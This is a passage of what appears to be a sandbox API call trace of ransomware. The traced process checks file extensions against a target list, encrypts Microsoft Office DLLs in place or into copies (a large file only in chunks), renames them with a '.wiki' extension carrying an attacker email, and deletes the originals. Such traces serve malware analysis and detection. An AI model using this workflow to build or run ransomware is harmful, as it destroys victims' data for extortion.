returned -1 [0192.496] lstrlenW (lpString=".ppt") returned 4 [0192.496] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0192.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.496] lstrlenW (lpString=".zip") returned 4 [0192.496] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0192.496] lstrlenW (lpString=".rar") returned 4 [0192.496] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0192.496] lstrlenW (lpString=".bz2") returned 4 [0192.496] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0192.496] lstrlenW (lpString=".7z") returned 3 [0192.496] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0192.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.496] lstrlenW (lpString=".dbf") returned 4 [0192.496] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0192.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.496] lstrlenW (lpString=".1cd") returned 4 [0192.496] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0192.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.496] lstrlenW (lpString=".jpg") returned 4 [0192.496] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0192.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.496] lstrlenW (lpString=".doc") returned 4 [0192.496] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0192.496] lstrlenW (lpString=".docx") returned 5 [0192.496] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0192.496] lstrlenW (lpString=".pdf") returned 4 [0192.497] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0192.497] lstrlenW (lpString=".xls") returned 4 [0192.497] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0192.497] lstrlenW (lpString=".xlsx") returned 5 [0192.497] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0192.497] lstrlenW (lpString=".ppt") returned 4 [0192.497] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0192.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.497] lstrlenW (lpString=".zip") returned 4 [0192.497] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0192.497] lstrlenW (lpString=".rar") returned 4 [0192.497] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0192.497] lstrlenW (lpString=".bz2") returned 4 [0192.497] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0192.497] lstrlenW (lpString=".7z") returned 3 [0192.497] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0192.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.497] lstrlenW (lpString=".dbf") returned 4 [0192.497] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0192.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.497] lstrlenW (lpString=".1cd") returned 4 [0192.497] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0192.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.497] lstrlenW (lpString=".jpg") returned 4 [0192.497] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0192.497] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.497] lstrlenW (lpString="USP10.DLL") returned 9 [0192.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0192.498] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=813824) returned 1 [0192.498] CloseHandle (hObject=0x1d0) returned 1 [0192.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll")) returned 0x20 [0192.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0192.498] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.498] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0192.499] GetLastError () returned 0x0 [0192.499] ReadFile (in: hFile=0x1d0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0xc6b00, lpOverlapped=0x0) returned 1 [0192.642] WriteFile (in: hFile=0x214, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xc6b10, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xc6b10, lpOverlapped=0x0) returned 1 [0192.798] ReadFile (in: hFile=0x1d0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.798] WriteFile (in: hFile=0x214, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0192.798] SetEndOfFile (hFile=0x214) returned 1 [0192.798] CloseHandle (hObject=0x214) returned 1 [0192.798] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.798] SetEndOfFile (hFile=0x1d0) returned 1 [0192.805] CloseHandle (hObject=0x1d0) returned 1 [0192.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.805] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll")) returned 1 [0192.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.805] lstrlenW (lpString=".doc") returned 4 [0192.805] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.806] lstrlenW (lpString=".docx") returned 5 [0192.806] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0192.806] lstrlenW (lpString=".pdf") returned 4 [0192.806] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.806] lstrlenW (lpString=".xls") returned 4 [0192.806] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.806] lstrlenW (lpString=".xlsx") returned 5 [0192.806] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0192.806] lstrlenW (lpString=".ppt") returned 4 [0192.806] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.806] lstrlenW (lpString=".zip") returned 4 [0192.806] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.806] lstrlenW (lpString=".rar") returned 4 [0192.806] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.806] lstrlenW (lpString=".bz2") returned 4 [0192.806] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.806] lstrlenW (lpString=".7z") returned 3 [0192.806] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.806] lstrlenW (lpString=".dbf") returned 4 [0192.806] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.806] lstrlenW (lpString=".1cd") returned 4 [0192.806] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.806] lstrlenW (lpString=".jpg") returned 4 [0192.806] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.806] lstrlenW (lpString=".doc") returned 4 [0192.806] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.807] lstrlenW (lpString=".docx") returned 5 [0192.807] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0192.807] lstrlenW (lpString=".pdf") returned 4 [0192.807] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.807] lstrlenW (lpString=".xls") returned 4 [0192.807] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.807] lstrlenW (lpString=".xlsx") returned 5 [0192.807] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0192.807] lstrlenW (lpString=".ppt") returned 4 [0192.807] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.807] lstrlenW (lpString=".zip") returned 4 [0192.807] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.807] lstrlenW (lpString=".rar") returned 4 [0192.807] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.807] lstrlenW (lpString=".bz2") returned 4 [0192.807] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.807] lstrlenW (lpString=".7z") returned 3 [0192.807] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.807] lstrlenW (lpString=".dbf") returned 4 [0192.807] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.807] lstrlenW (lpString=".1cd") returned 4 [0192.807] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0192.807] lstrlenW (lpString=".jpg") returned 4 [0192.807] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.808] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0192.808] lstrlenW (lpString="OSPPCEXT.DLL") returned 12 [0192.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0193.787] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=1828608) returned 1 [0193.787] CloseHandle (hObject=0x1f0) returned 1 [0193.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll")) returned 0x20 [0193.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0193.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0193.788] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc6c | out: lpNewFilePointer=0x0) returned 1 [0193.788] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc2c | out: lpNewFilePointer=0x0) returned 1 [0193.788] ReadFile (in: hFile=0x1f0, lpBuffer=0x4140058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc38, lpOverlapped=0x0 | out: lpBuffer=0x4140058*, lpNumberOfBytesRead=0x378fc38*=0x40000, lpOverlapped=0x0) returned 1 [0193.984] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x94d00, lpNewFilePointer=0x0, dwMoveMethod=0x378fc2c | out: lpNewFilePointer=0x0) returned 1 [0193.984] ReadFile (in: hFile=0x1f0, lpBuffer=0x4180058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc38, lpOverlapped=0x0 | out: lpBuffer=0x4180058*, lpNumberOfBytesRead=0x378fc38*=0x40000, lpOverlapped=0x0) returned 1 [0194.029] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x378fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0194.029] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x17e700, lpNewFilePointer=0x0, dwMoveMethod=0x378fc2c | out: lpNewFilePointer=0x0) returned 1 [0194.029] ReadFile (in: hFile=0x1f0, lpBuffer=0x41c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc38, lpOverlapped=0x0 | out: lpBuffer=0x41c0058*, lpNumberOfBytesRead=0x378fc38*=0x40000, lpOverlapped=0x0) returned 1 [0194.070] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.070] WriteFile (in: hFile=0x1f0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x378fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0194.387] SetEndOfFile (hFile=0x1f0) returned 1 [0194.387] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4261050 [0194.387] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc7c | out: lpNewFilePointer=0x0) returned 1 [0194.387] WriteFile (in: hFile=0x1f0, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x378fc88*=0x40000, lpOverlapped=0x0) returned 1 [0194.389] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x94d00, lpNewFilePointer=0x0, dwMoveMethod=0x378fc7c | out: lpNewFilePointer=0x0) returned 1 [0194.389] WriteFile (in: hFile=0x1f0, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x378fc88*=0x40000, lpOverlapped=0x0) returned 1 [0194.391] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x17e700, lpNewFilePointer=0x0, dwMoveMethod=0x378fc7c | out: lpNewFilePointer=0x0) returned 1 [0194.391] WriteFile (in: hFile=0x1f0, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x378fc88*=0x40000, lpOverlapped=0x0) returned 1 [0194.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4261050 | out: hHeap=0x5c0000) returned 1 [0194.393] CloseHandle (hObject=0x1f0) returned 1 [0194.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.393] lstrlenW (lpString=".doc") returned 4 [0194.393] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.393] lstrlenW (lpString=".docx") returned 5 [0194.393] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0194.393] lstrlenW (lpString=".pdf") returned 4 [0194.393] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.393] lstrlenW (lpString=".xls") returned 4 [0194.393] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.393] lstrlenW (lpString=".xlsx") returned 5 [0194.393] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0194.393] lstrlenW (lpString=".ppt") returned 4 [0194.393] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.394] lstrlenW (lpString=".zip") returned 4 [0194.394] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.394] lstrlenW (lpString=".rar") returned 4 [0194.394] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.394] lstrlenW (lpString=".bz2") returned 4 [0194.394] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.394] lstrlenW (lpString=".7z") returned 3 [0194.394] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.394] lstrlenW (lpString=".dbf") returned 4 [0194.394] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.394] lstrlenW (lpString=".1cd") returned 4 [0194.394] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.394] lstrlenW (lpString=".jpg") returned 4 [0194.394] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.394] lstrlenW (lpString=".doc") returned 4 [0194.394] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.394] lstrlenW (lpString=".docx") returned 5 [0194.394] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0194.394] lstrlenW (lpString=".pdf") returned 4 [0194.394] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.394] lstrlenW (lpString=".xls") returned 4 [0194.394] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.394] lstrlenW (lpString=".xlsx") returned 5 [0194.394] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0194.394] lstrlenW (lpString=".ppt") returned 4 [0194.394] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.395] lstrlenW (lpString=".zip") returned 4 [0194.395] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.395] lstrlenW (lpString=".rar") returned 4 [0194.395] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.395] lstrlenW (lpString=".bz2") returned 4 [0194.395] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.395] lstrlenW (lpString=".7z") returned 3 [0194.395] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.395] lstrlenW (lpString=".dbf") returned 4 [0194.395] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.395] lstrlenW (lpString=".1cd") returned 4 [0194.395] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0194.395] lstrlenW (lpString=".jpg") returned 4 [0194.395] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.395] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.395] lstrlenW (lpString="STINTL.DLL") returned 10 [0194.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.299] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=17280) returned 1 [0195.299] CloseHandle (hObject=0x220) returned 1 [0195.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 0x20 [0195.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.299] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.299] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.300] GetLastError () returned 0x0 [0195.300] ReadFile (in: hFile=0x220, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x4380, lpOverlapped=0x0) returned 1 [0195.302] WriteFile (in: hFile=0x1f8, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x4390, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x4390, lpOverlapped=0x0) returned 1 [0195.303] ReadFile (in: hFile=0x220, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.303] WriteFile (in: hFile=0x1f8, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, 